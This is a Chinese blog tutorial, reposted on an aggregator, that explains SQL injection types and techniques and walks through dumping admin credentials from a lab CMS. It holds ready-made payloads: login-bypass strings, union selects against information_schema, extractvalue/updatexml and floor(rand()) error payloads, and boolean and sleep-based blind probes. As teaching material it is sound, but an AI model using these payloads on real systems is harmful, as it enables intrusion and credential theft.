SQL注入漏洞及五大手法

news2024/10/7 20:35:22

SQL注入漏洞

文章目录

  • SQL注入漏洞
      • 万能用户名
    • SQL注入分类
        • 两大基本类型
        • 五大手法
        • 提交参数方式
        • 注入点的位置
      • 注入点判断
      • SQL注入的危害
      • sql漏洞挖掘
      • Mysql库中的注释
    • SQL注入基本手法
      • 联合查询
        • 条件
      • 报错注入
        • group by
        • extractvalue
        • updataxml
      • 布尔盲注
      • 延时注入
  • 案例
    • 获取cms网站后台管理员账密
      • 联合查询
      • 报错注入
    • 备注

万能用户名

777' or 1=1 #

admin' or '1'='1

在与数据库交互的地方利用精心设计好的sql语句打破原有的语句结构,达到结果意料之外结果的攻击行为

  • 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句
  • 未对用户可控参数进行足够的过滤,便将参数内容拼接到SOL 语句中

SQL注入分类

两大基本类型
  • 数字型
  • 字符型
五大手法
  • 联合查询
  • 报错注入
  • 布尔盲注
  • 延时注入
  • 堆叠查询
提交参数方式
  • GET 注入

  • POST 注入

  • Cookie 注入

  • HTTP 头部注入

注入点的位置
  • URL注入
  • 搜索框注入
  • 留言板注入
  • 登录框注入

注入点判断

会在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在SQL 注入漏洞。

步骤测试数据测试判断
1-1 或 +1是否能够回显上一个或者下一个页面(判断是否有回显)
2’ 或 "是否显示数据库错误信息;根据回显内容可以判断是字符型数据还是数字型。
3and 1=1and 1=2回显的页面是否不同(布尔类型的状态)
4and sleep(5)判断页面的返回时间
5\判断转义

SQL注入的危害

​ 攻击者可以利用 SQL 注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容(脱库)。

​ 在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。

​ 如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用 SQL 注入漏洞直接获取 WebShell 或者服务器权限。

sql漏洞挖掘

如果near报错语句中没有出现查询的id大概率为数字型注入

在这里插入图片描述

数据库的内容会回显到网页中考虑联合查询

有报错信息考虑报错注入

有bool类型状态考虑布尔盲注

延迟语句能够执行考虑延时注入

Mysql库中的注释

	注释				URL中显示
--  减减空格             --+
#  						%23
/* */

代替空格字符可以用:

  • %0A
  • %0B
  • %0D
  • %A0
    在这里插入图片描述

SQL注入基本手法

联合查询

​ 适用数据库中的内容会回显到页面中来的情况。联合查询就是利用 union select 语句,该语句会同时执行两条 select 语句,实现跨库、跨表查询

条件
  • 两条select语句查询结果具有相同的列数
  • 对应的列数据类型相同
  1. 对目标进行分析查找注入点

  2. 根据报错信息来查看是字符型还是数字型,字符型需要补引号(’ ")数字不用

  3. 使用union关键字进行联合查询 select * from tbName where id=32 union select …

  4. 通过order by进行列数猜测,因为要具有相同的列数如果超出列数就会报错从而快速锁定列数

  5. 锁定列数把所有列数列出来使用数字进行占位 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

  6. 再次查询时就可以找到回显位

  7. 在回显位输入sql函数比如版本,当前库名

  8. 利用 information_schema库中查询当前库中的所有表的个数?id=-33 UNION SELECT 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from

    information_schema.tables where table_schema=database()

  9. 查询所有表名?id=-33 UNION SELECT

    1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()

  10. 查询想要查看表的字段?id=-33 UNION SELECT

    1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name=‘cms_users’

  11. 查询该字段下的内容?id=-33 UNION SELECT

    1,2,hex(concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users

报错注入

​ 在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。报错注入的原理,就是在错误信息中执行 SQL 语句。触发报错的方式有很多,具体细节也不尽相同。

group by

是mysql的一个bug

需要靠运气多执行几次

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
extractvalue

将查询和报错语句混合执行查询语句

?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))

?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))
updataxml
?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from
cms_users),0x5e),1)

 ?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)

布尔盲注

  1. 查询库名长度

    ?id=2’ and length(database())=8 --+

  2. 知道长度开始按位测试

    ?id=2’ and ascii(substr(database(),1,1))=115 --+

延时注入

  1. 查询库名长度

    ?id=2’ and if(length(database())>1,sleep(5),1) --+

  2. 库名开始按位测试

    ?id=2’ and if(substr(database(),3,1)=‘c’,sleep(5),1) --+

案例

获取cms网站后台管理员账密

联合查询

寻找注入点 加‘闭合数据库报错可以看到是数字型
在这里插入图片描述
利用order by 进行猜测行数猜测15
在这里插入图片描述
发现显示正常猜测16发现报错
在这里插入图片描述
我们知道他有16行就使用联合查询进行位置判断用将数字当成占位符寻找回显位http://10.9.47.77/cms/show.php?id=35%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15切记要使前面的语句为假
在这里插入图片描述
找到回显位是3和11查询一下当前库名 把3的位置换为database()函数
在这里插入图片描述
利用information_schema库来查询库名为cms中的表所有表
在这里插入图片描述
在这里插入图片描述
因为查询为多个结果用group_concat()将要查询的字段括起来就会显示在一起还有就是要用转换成16进制要不然union查询会报错
http://10.9.47.77/cms/show.php?id=35%20and%201=2%20%20union%20select%201,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15%20from%20information_schema.tables%20where%20table_schema=database()
在这里插入图片描述
我们可以看到是16进制的我们转换一下
在这里插入图片描述
得到了表名cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
继续查询一下cms_users表名里的字段
http://10.9.47.77/cms/show.php?id=35%20and%201=2%20%20union%20select%201,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27cms_users%27
在这里插入图片描述
转换一下
在这里插入图片描述
得到两个字段username,password 进行查询
http://10.9.47.77/cms/show.php?id=35%20and%201=2%20%20union%20select%201,2,%20concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15%20%20from%20cms_users
在这里插入图片描述
账密就查询到了

报错注入

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a) 查询当前库
在这里插入图片描述
查找账密
在这里插入图片描述

备注

由于布尔盲注和延迟注入成本太高后续上传python脚本编写

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1182318.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

k8s 目录和文件挂载

k8s生产中常用的volumes挂载方式有:hostPath、pv,pvc、nfs 1.hostPath挂载 hostPath是将主机节点文件系统上的文件或目录挂载到Pod 中,同时pod中的目录或者文件也会实时存在宿主机上,如果pod删除,hostpath中的文…

字符函数和字符串函数详解

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 1. 字符分类函数 2. 字符转换函数 3. strlen的使用和模拟实现 3.1strlen的使用: 3.2strlen的模拟实现: 4. strcpy的使用和模拟实现 4.1strc…

YOLOv8-Cls推理详解及部署实现

目录 前言一、YOLOv8-Cls推理(Python)1. YOLOv8-Cls预测2. YOLOv8-Cls预处理3. YOLOv8-Cls推理 二、YOLOv8-Cls推理(C)1. ONNX导出2. YOLOv8-Cls预处理3. YOLOv8-Cls推理 三、YOLOv8-Cls部署1. 源码下载2. 环境配置2.1 配置CMakeLists.txt2.2 配置Makefile 3. ONNX导出4. 源码修…

网络安全深入学习第八课——代理与端口转发

文章目录 一、什么是代理二、正向代理三、反向代理四、正向和反向代理模拟复现 一、什么是代理 代理服务器英文全称是Proxy Server,其功能就是代理网络用户去取得网络信息。 形象的说:它是网络信息的中转站。在一般情况下,我们使用网络浏览…

​软考-高级-信息系统项目管理师教程 第四版【第20章-高级项目管理-思维导图】​

软考-高级-信息系统项目管理师教程 第四版【第20章-高级项目管理-思维导图】 课本里章节里所有蓝色字体的思维导图

解决 win11 vmware 中centos 网络不能访问外网

解决 win11 vmware 中centos 网络不能访问外网 1、进入win11 高级设置,找到centos 虚拟机使用的网卡 2、看网卡的其他属性 3、按照红圈部分,配置成一样的就行 4、进入到虚拟机配置中,配置成如图一样的NAT模式 5、再进入编辑 -》虚拟网络编辑…

30道高频Vue面试题快问快答

面试中的快问快答 快问快答的情景在面试中非常常见。 在面试过程中,面试官通常会使用快问快答的方式来快速评估面试者的基础知识、思维能力和反应速度。 这种情景下,面试官会提出一系列简短的问题,并期望面试者能够迅速做出回答或提供简洁明…

仿真实现lio_sam建图和ndt_matching定位

文章目录 一、仿真环境二、lio_sam建图1.修改配置文件2.开始建图 三、ndt_matching定位1.新建启动文件2.启动 总结 一、仿真环境 使用现有开源的仿真环境—从零开始搭建一台ROS开源迷你无人车,作者已经配置好小车模型以及gazebo环境,imu频率已改为200HZ…

Leetcode—2586.统计范围内的元音字符串数【简单】

2023每日刷题&#xff08;二十二&#xff09; Leetcode—2586.统计范围内的元音字符串数 实现代码 class Solution { public:int vowelStrings(vector<string>& words, int left, int right) {int ans 0;for(int i left; i < right; i) {string s words[i];i…

原子化 CSS 真能减少体积么?

前言 最近看到这样一篇文章&#xff1a;《要喷也得先做做功课吧&#xff1f;驳Tailwind不好论》 个人觉得说的还是有一定道理的&#xff0c;就是该作者的语气态度可能稍微冲了点&#xff1a; 不过他说的确实有道理&#xff0c;如果这种原子化工具真的如评论区里那帮人说的那么…

苹果手机的警示!电子产品无线升级=救命的机会

大家日常使用手机都知道&#xff0c;手机系统和软件三天两头就收到更新提醒。 只要用户手机联网&#xff0c;就可以想更新就更新&#xff0c;觉得原本使用顺手也可以不更新。 可各大厂商的初衷是好的&#xff0c;希望改善系统的一些bug问题&#xff0c;也会给我们带来一些全新功…

强化学习中的基本术语

0.引言 本篇文章主要介绍强化学习中最基本的术语&#xff08;不包含具体算法&#xff09;&#xff0c;主要提供给刚入门强化学习的朋友们&#xff0c;让大家快速掌握一些基本术语&#xff0c;之后对看强化学习算法内容有着更好地理解。 1.基本术语 1.1.state 中文称为“状态…

基于ssm企业人事管理系统

功能如图所示 摘要 基于SSM&#xff08;Spring SpringMVC MyBatis&#xff09;框架的企业人事管理系统是一种高效、可定制化的人力资源管理解决方案。该系统整合了现代企业的人力资源需求&#xff0c;提供了一套功能丰富的工具&#xff0c;用于管理员工信息、薪资、考勤、招聘…

C语言--typedef的使用

前言 在C语言中使用结构体时必须加上struct这个关键字,那有没有办法省略这个呢?要想达到这个目的就 需要用到关键字typedef,顾名思义”类型定义”。 typedef 数据类型 新的别名; 它是用来操作数据类型。其主要作用有两个: 1.给一个较长较复杂的类型取一个简单的别名。 2.给类…

python 之字典的相关知识

文章目录 字典的基本特点&#xff1a;1. 定义2. 键唯一性3. 可变性4. 键的类型 基本操作&#xff1a;字典的创建1. 花括号 {}2. dict() 构造函数3. 键值对的 dict() 构造函数使用 zip() 函数创建字典&#xff1a;注意事项访问字典中的值修改和添加键值对删除键值对 字典方法&am…

平衡树相关笔记

引入 二叉查找树 二叉查找树&#xff08;Binary Search Tree&#xff09;&#xff0c;又名二叉搜索树。满足以下性质&#xff1a; 对于非空的左子树&#xff0c;左子树点权值小于根节点。对于非空的右子树&#xff0c;左子树点权值大于根节点。二叉查找树的左右子树均是二叉…

Android修行手册 - 模板匹配函数matchTemplate详解,从N张图片中找到是否包含五星

点击跳转>Unity3D特效百例点击跳转>案例项目实战源码点击跳转>游戏脚本-辅助自动化点击跳转>Android控件全解手册点击跳转>Scratch编程案例点击跳转>软考全系列 &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分享&…

麒麟v10 安装jenkins

1.想安装哪个版本&#xff1f; https://pkg.jenkins.io/redhat-stable/ 我们查看我们想要哪个版本&#xff1a; 4年前安装的是 Jenkins2.279 版本 现在在docker 上安装的是Version 2.425 版本 2.碰到到的问题 1.安装老版本的Jenkins&#xff0c;会出现安装的插件不兼容&…

win版redis详细安装教程

一、下载 github下载地址 https://github.com/MicrosoftArchive/redis/releases 可选择&#xff1a;下载msi包或zip压缩包 这里我选择的是zip压缩包&#xff0c;直接通过cmd命令窗口操作即可。 二、安装步骤 1、解压Redis压缩包 选中压缩包&#xff0c;右键选择解压&#…

WordPress 主题QUX DUX加强版

模板简介&#xff1a; QUX主题是由轻语博客在大前端DU主题的基础上集成了Ucenter&Market插件后修改加强版&#xff0c;在原有主题的基础上迎合市场增加了很多的功能。主题已解密去授权。 更新内容&#xff1a; 新增关闭注册验证码&#xff08;主题设置–会员中心&#xff…